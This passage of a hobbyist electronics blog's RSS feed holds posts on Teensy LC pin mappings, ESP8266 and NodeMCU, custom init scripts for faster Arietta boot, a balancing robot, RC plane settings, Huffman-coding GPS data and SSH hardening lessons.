&lt;a href=&#34;https://www.pjrc.com/teensy/teensyLC.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Teensy LC&lt;/a&gt; instead of using PJRC’s excellent Arduino support. For reference, here’s the Arduino pin mapping to the native pin:&lt;/p&gt;
&lt;pre&gt;0 PTB16
1 PTB17
2 PTD0
3 PTA1
4 PTA2
5 PTD7
6 PTD4
7 PTD2
8 PTD3
9 PTC3
10 PTC4
11 PTC6
12 PTC7
13 PTC5
14 PTD1
15 PTC0
16 PTB0
17 PTB1
18 PTB3
19 PTB2
20 PTD5
21 PTD6
22 PTC1
23 PTC2
24 PTE20
25 PTE21
26 PTE30
&lt;/pre&gt;
&lt;p&gt;This was made by running 
&lt;a href=&#34;https://github.com/PaulStoffregen/cores/blob/master/teensy3/core_pins.h&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;core_pins.h&lt;/a&gt; through the C preprocessor.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Impressed with NodeMCU</title>
      <link>https://juju.nz/michaelh/2015/02/impressed-with-nodemcu/</link>
      <pubDate>Fri, 06 Feb 2015 19:34:25 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/02/impressed-with-nodemcu/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;http://nodemcu.com/index_en.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;NodeMcu&lt;/a&gt; is a Lua interpreter with a good set of support libraries for the far-too-cheap 
&lt;a href=&#34;https://www.olimex.com/Products/IoT/MOD-WIFI-ESP8266-DEV/#&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESP8266&lt;/a&gt;. I’m impressed with how easy it is to script up a Wifi connected thermometer using a 
&lt;a href=&#34;http://www.maximintegrated.com/en/products/analog/sensors-and-sensor-interface/DS18B20.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;DS18B20&lt;/a&gt; 1-wire thermometer, 
&lt;a href=&#34;http://mqtt.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MQTT&lt;/a&gt; for publishing, and Wifi to a 
&lt;a href=&#34;http://wiki.openwrt.org/toh/tp-link/tl-mr3020&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;OpenWRT router&lt;/a&gt; for the transport.&lt;/p&gt;
&lt;p&gt;Have a look at the NodeMcu git repo for the 
&lt;a href=&#34;https://github.com/nodemcu/nodemcu-firmware/tree/master/app&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;bundled libraries&lt;/a&gt; which include a JSON parser, MQTT, spifs, and software based I2C, 1-wire, and PWM drivers.&lt;/p&gt;
&lt;p&gt;It’s very RAM hungry though. I had a hack and got it up to 25 k of free heap, but that’s only just enough for a single device and MQTT connection.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-1024x827.jpg&#34; alt=&#34;IMG_20150206_203612~2&#34; width=&#34;584&#34; height=&#34;471&#34; class=&#34;aligncenter size-large wp-image-250&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-1024x827.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-300x242.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/02/IMG_20150206_2036122-371x300.jpg 371w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Fast-ish boot for the Arietta</title>
      <link>https://juju.nz/michaelh/2015/01/fast-ish-boot-for-the-arietta/</link>
      <pubDate>Thu, 22 Jan 2015 20:09:07 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2015/01/fast-ish-boot-for-the-arietta/</guid>
      <description>&lt;p&gt;A while ago I posted about cutting the ACME Arietta boot time down from ~30 s to ~4 s. Here’s the hacks I did to get there.&lt;/p&gt;
&lt;p&gt;After the kernel has finished initialising it runs ‘init’ which is responsible for setting up the system and starting any services. ‘init’ has the concept of runlevels including runlevel S (initial startup), runlevel 2 (normal operation) and runlevel 6 (reboot). You can configure what init does when it enters a runlevel, including changing it from running a bunch of generic scripts to running a single, specific, and much faster script.&lt;/p&gt;
&lt;p&gt;So that’s the trick: change init from executing all of the scripts in &lt;code&gt;/etc/rc2.d/&lt;/code&gt; and instead have it run your own &lt;code&gt;/etc/init.d/rc2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The first step is to change the init config file &lt;code&gt;/etc/inittab&lt;/code&gt;. As a diff:&lt;/p&gt;
&lt;pre&gt;-l2:2:wait:/etc/init.d/rc 2
+l2:2:wait:/etc/init.d/rc2
&lt;/pre&gt;
&lt;p&gt;Then create a file holding helper functions, including a log function that’s useful when timing individual steps:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/init.d/rc.common&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;PATH=/sbin:/usr/sbin:/bin:/usr/bin
export PATH

umask 022

start() {
        echo &#34;+ $@...&#34;
        $@
}
&lt;/pre&gt;
&lt;p&gt;Overwrite the initial startup script &lt;code&gt;/etc/init.d/rcS&lt;/code&gt; with:&lt;/p&gt;
&lt;pre&gt;#!/bin/busybox sh

. /etc/init.d/rc.common

start mount -t proc /proc /proc
start mount -t sysfs /sys /sys
start mount -o remount,rw /
start mount -t tmpfs none /run
mkdir -p /run/network /run/lock

start mount -a
start hostname $(cat /etc/hostname)

#start /etc/init.d/udev start
echo &gt; /sys/kernel/uevent_helper
start udevd --daemon
start udevadm trigger --action=add
start udevadm settle --timeout=0

# PENDING: Load modules.
# PENDING: sysctl
# PENDING: urandom

start ifconfig lo 127.0.0.1 netmask 255.0.0.0 up
&lt;/pre&gt;
&lt;p&gt;and finally create &lt;code&gt;/etc/init.d/rc2&lt;/code&gt; to start your services and perhaps application:&lt;/p&gt;
&lt;pre&gt;#!/bin/busybox sh

. /etc/init.d/rc.common

make_mac() {
    echo 00$(echo $HOSTNAME $@ | md5sum | cut -b -10)
}

# Ethernet
start modprobe g_ether use_eem=0 dev_addr=$(make_mac dev) host_addr=$(make_mac host)
start ifconfig usb0 192.168.10.10 netmask 255.255.255.0 up

# OpenSSH
mkdir -p /var/run/sshd
chmod 0755 /var/run/sshd
start /usr/sbin/sshd

# Finished!
echo uptime: `cat /proc/uptime`
&lt;/pre&gt;
&lt;p&gt;Make sure the files are executable (&lt;code&gt;chmod +x ...&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The make_mac() function is used to give the USB ethernet gadget a fixed MAC address instead of generating a random one at each boot. This makes setting a static IP address in Chrome OS easier.&lt;/p&gt;
&lt;p&gt;Note that I’m using busybox as the shell. It’s really small so should be quick to load and run. Run &lt;tt&gt;sudo apt-get install busybox&lt;/tt&gt; to get it.&lt;/p&gt;
&lt;p&gt;Fiddling with init scripts is a good way to break the boot. The easiest way to fix a problem is to put the SD card into your laptop and edit the files directly.&lt;/p&gt;
&lt;p&gt;Click 
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2015/01/arietta-faster-boot.tar.gz&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;here&lt;/a&gt; for a tarball of the files.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Serial to Wifi board hacking</title>
      <link>https://juju.nz/michaelh/2014/12/serial-to-wifi-board-hacking/</link>
      <pubDate>Thu, 11 Dec 2014 21:15:14 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/12/serial-to-wifi-board-hacking/</guid>
      <description>&lt;p&gt;I’m having fun with my Olimex 
&lt;a href=&#34;https://github.com/esp8266/esp8266-wiki/wiki&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ESP8266&lt;/a&gt; 
&lt;a href=&#34;https://www.olimex.com/Products/Modules/Ethernet/MOD-WIFI-ESP8266-DEV&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;dev board&lt;/a&gt;. For ~5 Euro you get a 80 MHz processor, built in Wifi, a bunch of I/O, and “IoT” style libraries with a RTOS. This is the same chip that’s used on the 
&lt;a href=&#34;http://hackaday.com/tag/esp8266/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;serial to Wifi boards&lt;/a&gt; but with all of the I/O broken out. I especially like how they use half-holes on the edges to also make it PCB mountable.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-1024x768.jpg&#34; alt=&#34;IMG_20141211_215858&#34; width=&#34;584&#34; height=&#34;438&#34; class=&#34;aligncenter size-large wp-image-230&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/12/IMG_20141211_215858-400x300.jpg 400w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So far I’ve only built the community run 
&lt;a href=&#34;https://github.com/esp8266/esp8266-wiki/wiki/Toolchain&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;toolchain&lt;/a&gt; and loaded the blinky example onto it. The photo shows the boot mode switch, FTDI serial interface, and cables off to the 3.3 V supply.&lt;/p&gt;
&lt;p&gt;Next step is to turn the LED on and off from a web form.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>golang and realtime musings</title>
      <link>https://juju.nz/michaelh/2014/10/golang-and-realtime-musings/</link>
      <pubDate>Sun, 19 Oct 2014 18:23:21 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/10/golang-and-realtime-musings/</guid>
      <description>&lt;p&gt;I’m using 
&lt;a href=&#34;http://golang.org/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;golang&lt;/a&gt; as the language for my self balancing robot project. It should be interesting as golang is designed for server loads, not for realtime, but the bot will need to update at 100 Hz (10 ms/cycle) to say upright.&lt;/p&gt;
&lt;p&gt;I had a look at 
&lt;a href=&#34;http://golang.org/doc/install/source&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;the source&lt;/a&gt; and there’s a few issues:&lt;/p&gt;
&lt;p&gt;No priorities. The fast control loop should take priority but goroutines are cooperative, have no concept of priority, and are multiplexed onto threads in undefined ways.&lt;/p&gt;
&lt;p&gt;The timers are fired from one thread. Ideally timers should have priority and smear, so the control timer can fire first and any other timers can run at roughly the right time when the CPU has gone idle.&lt;/p&gt;
&lt;p&gt;The garbage collector is stop world. It’d be nice if the control thread had its own GC pool. Not going overboard with short lived objects should keep this under control.&lt;/p&gt;
&lt;p&gt;The next step is to measure see if any of this is a problem. I plan to have the control loop set a pin on entry and clear it on exit, and then use a 
&lt;a href=&#34;http://www.atmel.com/devices/attiny85.aspx&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ATTINY&lt;/a&gt; as a timer to measure the start and runtime jitter.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Balancing robot first steps</title>
      <link>https://juju.nz/michaelh/2014/09/balancing-robot-first-steps/</link>
      <pubDate>Sun, 21 Sep 2014 18:01:47 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/09/balancing-robot-first-steps/</guid>
      <description>&lt;p&gt;I’m working on a self balancing robot as a &lt;em&gt;coming-into-winter-something-inside-sounds-good&lt;/em&gt; project. Today I got it 
&lt;a href=&#34;http://youtu.be/AO2-zbcM4jQ&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;driving about&lt;/a&gt;: not balancing, not smart, but still a good milestone.&lt;/p&gt;
&lt;p&gt;It’s been a lot of fun due to the different tech involved. The body is laser cut acrylic with finger joints to join the base to the motor plates. The controller is a 
&lt;a href=&#34;http://www.acmesystems.it/arietta&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arietta&lt;/a&gt; 400 MHz ARM9 running Debian. The motors are some cheap DC motors/gearbox/wheel combos from Olimex. The motor controller is a L298. The ‘up’ sensor is a six axis MPU6050 giving gyros and accelerometers.&lt;/p&gt;
&lt;p&gt;It’s definitely a v1. I want to redo the frame to be much narrower and taller giving a more ‘upright’ shape. I might build a PCB instead of veroboard to shrink the whole design.&lt;/p&gt;
&lt;p&gt;The current hard problem is the supply. I need 5V to drive the USB Wifi adapter so I’m considering changing the 6V 4x AA battery pack for a 7.4 V 2S LiPo. It’s a better size and is a high enough voltage that I can put a 5 V linear regulator and have both the motor and control from the same battery.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-1024x768.jpg&#34; alt=&#34;Robot main view&#34; width=&#34;584&#34; height=&#34;438&#34; class=&#34;aligncenter size-large wp-image-212&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154022-400x300.jpg 400w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-1024x768.jpg&#34; alt=&#34;Robot main view alternate&#34; width=&#34;584&#34; height=&#34;438&#34; class=&#34;aligncenter size-large wp-image-211&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/09/IMG_20140921_154037-400x300.jpg 400w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Dogfighter settings</title>
      <link>https://juju.nz/michaelh/2014/07/dogfighter-settings/</link>
      <pubDate>Sat, 19 Jul 2014 13:10:41 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/07/dogfighter-settings/</guid>
      <description>&lt;p&gt;I’m quite enjoying my 
&lt;a href=&#34;http://www.multiplex-rc.de/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Multiplex&lt;/a&gt; 
&lt;a href=&#34;http://www.multiplex-rc.de/en/products/categories/products/details/productgroup/rc-accessories/productcategory/elapor-models/product/rr-dogfighter-sr.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Dogfighter&lt;/a&gt;. I just fitted a new spinner and mount to replace the one chipped in a crash, and it’s smooth and quiet again at full throttle. It’s a crazy tough model plane.&lt;/p&gt;
&lt;p&gt;For reference, here’s the settings I use on my Futaba remote:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Aileron: rate 60 % exponential -40 %
&lt;ul&gt;
&lt;li&gt;Elevator: rate 100 % exponential -20 %
&lt;ul&gt;
&lt;li&gt;Flaperons: -30 %
&lt;ul&gt;
&lt;li&gt;Air brake: Aileron +50 % Elevator +11 % Flaps: +50 % &lt;/ul&gt;
This is quite docile. The flaperons could be more negative.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Console on a old Nokia display</title>
      <link>https://juju.nz/michaelh/2014/07/console-on-a-old-nokia-display/</link>
      <pubDate>Tue, 15 Jul 2014 18:34:59 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/07/console-on-a-old-nokia-display/</guid>
      <description>&lt;p&gt;After a night of hacking I have the cutest console ever: fbcon on my 
&lt;a href=&#34;http://www.acmesystems.it/arietta&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arietta G25&lt;/a&gt; showing on a 84×48 
&lt;a href=&#34;https://www.olimex.com/Products/Modules/LCD/MOD-LCD3310/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Nokia 3310 LCD&lt;/a&gt; thanks to 
&lt;a href=&#34;https://github.com/notro/fbtft&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;fbtft&lt;/a&gt;. The nice thing is it’s tiny enough to fit on my RC car but shows as a standard framebuffer so will work with everything.&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom-950x1024.jpg&#34; alt=&#34;zoom&#34; width=&#34;584&#34; height=&#34;629&#34; class=&#34;aligncenter size-large wp-image-201&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom-950x1024.jpg 950w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom-278x300.jpg 278w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/zoom.jpg 1156w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811-743x1024.jpg&#34; alt=&#34;IMG_20140715_201811&#34; width=&#34;584&#34; height=&#34;804&#34; class=&#34;aligncenter size-large wp-image-202&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811-743x1024.jpg 743w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/07/IMG_20140715_201811-217x300.jpg 217w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;There’s two versions of the display with two controller chips. fbtft required some patching which I’ll send upstream after company review.&lt;/p&gt;
&lt;p&gt;I’m tempted to put 
&lt;a href=&#34;https://www.google.com/search?q=moon&amp;#43;gerty&amp;amp;tbm=isch&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;GERTY&lt;/a&gt;‘s face from Moon on it while it drives about.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Shorter boot time on the Arietta G25</title>
      <link>https://juju.nz/michaelh/2014/07/shorter-boot-time-on-the-arietta-g25/</link>
      <pubDate>Sun, 13 Jul 2014 19:25:45 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/07/shorter-boot-time-on-the-arietta-g25/</guid>
      <description>&lt;p&gt;Short story: my 
&lt;a href=&#34;http://www.acmesystems.it/arietta&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arietta G25&lt;/a&gt; now boots to prompt in 3.9 s instead of the stock 50.7 s. Nice.&lt;/p&gt;
&lt;p&gt;I had a hack about with reducing the boot time of the Arietta G25 ARM9 based Linux board. I’m planning on doing some kernel hacking so shorter is better as it cuts the build/push/test cycle down.&lt;/p&gt;
&lt;p&gt;My log is 
&lt;a href=&#34;https://juju.nz/michaelh/michaelh/nppilot/boottime.html&#34;&gt;here&lt;/a&gt;. I pulled the usual tricks like switching to custom init scripts (eck), dropping udev for mdev, and doing things like USB Ethernet initialisation as late as possible.&lt;/p&gt;
&lt;p&gt;I had a few surprises: LZO is faster than Gzip (despite being bigger and taking longer to load from SD), -O2 is faster to boot than -Os (despite being heavier on the cache), and switching from 115200 baud to 460800 also made a difference.&lt;/p&gt;
&lt;p&gt;This is all against a Chromebook host with Crouton. The USB Ethernet also works fine once I switched the board from EEM to ECM mode.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Arietta 25</title>
      <link>https://juju.nz/michaelh/2014/06/arietta-25/</link>
      <pubDate>Sun, 29 Jun 2014 19:51:29 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/06/arietta-25/</guid>
      <description>&lt;p&gt;I picked up two 
&lt;a href=&#34;http://www.acmesystems.it/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Acme Systems&lt;/a&gt; 
&lt;a href=&#34;http://www.acmesystems.it/arietta&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Arietta G25&lt;/a&gt;‘s. They’re a tiny Atmel ARM9 powered board with most of the I/O out on a 0.1″ header. I hope to hook one up to a GPS to send up in my plane and record the track and speed.&lt;/p&gt;
&lt;p&gt;Some random notes:&lt;/p&gt;
&lt;p&gt;The board shows up as a 
&lt;a href=&#34;https://en.wikipedia.org/wiki/Ethernet_over_USB&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;USB CDC EEM&lt;/a&gt; Ethernet adapter. ChromeOS includes the CDC Ether but not the EEM driver. I built the 
&lt;a href=&#34;https://chromium.googlesource.com/chromiumos/third_party/kernel/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;chromeos-3.8.11&lt;/a&gt; EEM driver from source and it worked just fine.&lt;/p&gt;
&lt;p&gt;The usual SSH port forwarding trick works well for installing extra packages. Run 
&lt;a href=&#34;http://www.pps.univ-paris-diderot.fr/~jch/software/polipo/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Polipo&lt;/a&gt; somewhere on your network, SSH into the board with port forwarding (&lt;code&gt;-R 8123:proxy-name:8123&lt;/code&gt;), set the proxy (&lt;code&gt;export http_proxy=http://localhost:8123/&lt;/code&gt;), and apt-get away.&lt;/p&gt;
&lt;p&gt;The default hostname is arietta. Add it to the localhost line in &lt;code&gt;/etc/hosts&lt;/code&gt; to make sudo faster.&lt;/p&gt;
&lt;p&gt;The default golang packages that come with x86_64 Ubuntu Trusty work great for cross compiling, and the statically linked binaries run on the board with no extra support. Try &lt;code&gt;GOARCH=arm GOARM=5 go build&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I can’t figure out how to build a Device Tree script into the binary form. The Linux kernel uses &lt;code&gt;#include&lt;/code&gt; and abuses the C preprocessor, but you need a whole set of flags to cut the extra noise that cpp adds so that dtc can still parse the output. Copying into the Kernel tree works fine.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Some grass trimming</title>
      <link>https://juju.nz/michaelh/2014/06/some-grass-trimming/</link>
      <pubDate>Sun, 22 Jun 2014 17:38:25 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/06/some-grass-trimming/</guid>
      <description>&lt;p&gt;Two good runs with my plane today, including a good looking flare out on the second landing. The plane pulled up, stalled, and correctly came down on its belly.&lt;/p&gt;
&lt;p&gt;The very first try was… unfortunate. I decided to take off down wind so I could have the sun behind me and a good, empty field in front. The plane stalled and somehow went to full throttle, cutting grass and leaving this for a propeller:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-1024x768.jpg&#34; alt=&#34;Not much left of the prop&#34; width=&#34;584&#34; height=&#34;438&#34; class=&#34;aligncenter size-large wp-image-179&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-1024x768.jpg 1024w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-300x225.jpg 300w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140622_191624-400x300.jpg 400w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Up and down again</title>
      <link>https://juju.nz/michaelh/2014/06/up-and-down-again/</link>
      <pubDate>Sun, 01 Jun 2014 10:03:59 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/06/up-and-down-again/</guid>
      <description>&lt;p&gt;This is what success with a Multiplex Dogfighter looks like:&lt;/p&gt;
&lt;p&gt;
&lt;a href=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;&lt;img src=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204-768x1024.jpg&#34; alt=&#34;Right side up&#34; width=&#34;584&#34; height=&#34;778&#34; class=&#34;aligncenter size-large wp-image-173&#34; srcset=&#34;https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204-768x1024.jpg 768w, https://juju.net.nz/michaelh/blog/wp-content/uploads/2014/06/IMG_20140601_111204-225x300.jpg 225w&#34; sizes=&#34;(max-width: 584px) 100vw, 584px&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The canopy is on, the wing is on, and the battery isn’t kissing the motor. Success!&lt;/p&gt;
&lt;p&gt;Pro tip: wear long pants when flying else the long grass will make you regret.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Stopping ‘PAM service(sshd) ignoring max retries’ errors in syslog</title>
      <link>https://juju.nz/michaelh/2014/04/stopping-pam-servicesshd-ignoring-max-retries-errors-in-syslog/</link>
      <pubDate>Tue, 22 Apr 2014 17:25:12 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/04/stopping-pam-servicesshd-ignoring-max-retries-errors-in-syslog/</guid>
      <description>&lt;p&gt;Seeing messages like &lt;code&gt;sshd[28778]: PAM service(sshd) ignoring max retries; 6 &amp;gt; 3&lt;/code&gt; in auth.log? It’s caused by pam_unix disagreeing with sshd on how many times a user can retry their password before getting disconnected. To stop it, add &lt;code&gt;MaxAuthTries 3&lt;/code&gt; to &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Huffman coding on NMEA sentances</title>
      <link>https://juju.nz/michaelh/2014/04/huffman-coding-on-nmea-sentances/</link>
      <pubDate>Sun, 13 Apr 2014 19:12:47 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/04/huffman-coding-on-nmea-sentances/</guid>
      <description>&lt;p&gt;I’m impressed with how well Huffman encoding works on the very verbose, very repetitive, ASCII based NMEA GPS sentances. I hacked up a Python script that bakes a fixed dictionary from example data and a device side C++ encoder that encodes based on the dictionary. The encoder is 46 statements, uses ~10 bytes of RAM, and still gets almost 3:1 compression.&lt;/p&gt;
&lt;p&gt;For comparison, on my 135,548 byte test file:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Treating each character as a symbol gives 58,749 B (2.30x)
&lt;ul&gt;
&lt;li&gt;Treating the talker (‘GPGGA’), and each non-numeric field as a symbol gives 46,104 B (2.94x)
&lt;ul&gt;
&lt;li&gt;lzop gives 22,161 B (6.12x)
&lt;ul&gt;
&lt;li&gt;gzip gives 12,167 B (11.2x) &lt;/ul&gt;
The end goal is to strap a GPS, LPC810, and 32 KiB data flash to my plane and record the track while flying over the 
&lt;a href=&#34;https://www.google.com/maps/place/Sportplatz&amp;#43;Allmend&amp;#43;Brunau/@47.35544,8.521636,17z/data=!3m1!4b1!4m2!3m1!1s0x479009ef454e0d5f:0xac77c825eb303954&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Allmend&lt;/a&gt;. Off the shelf is too easy.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Three days to posession</title>
      <link>https://juju.nz/michaelh/2014/03/three-days-to-posession/</link>
      <pubDate>Mon, 31 Mar 2014 18:19:57 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2014/03/three-days-to-posession/</guid>
      <description>&lt;p&gt;As an experiment, I hooked up a spare ARM machine to the internet and left it running Tor. It only took three days for a script kiddie to break in, as it turns out the pre-built rootfs I used has a poor default root password.&lt;/p&gt;
&lt;p&gt;So the lessons are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Always clear the root password.
&lt;ul&gt;
&lt;li&gt;Disable root login in sshd_config.
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Disable password logins in sshd_config and use keys only. &lt;/ul&gt;
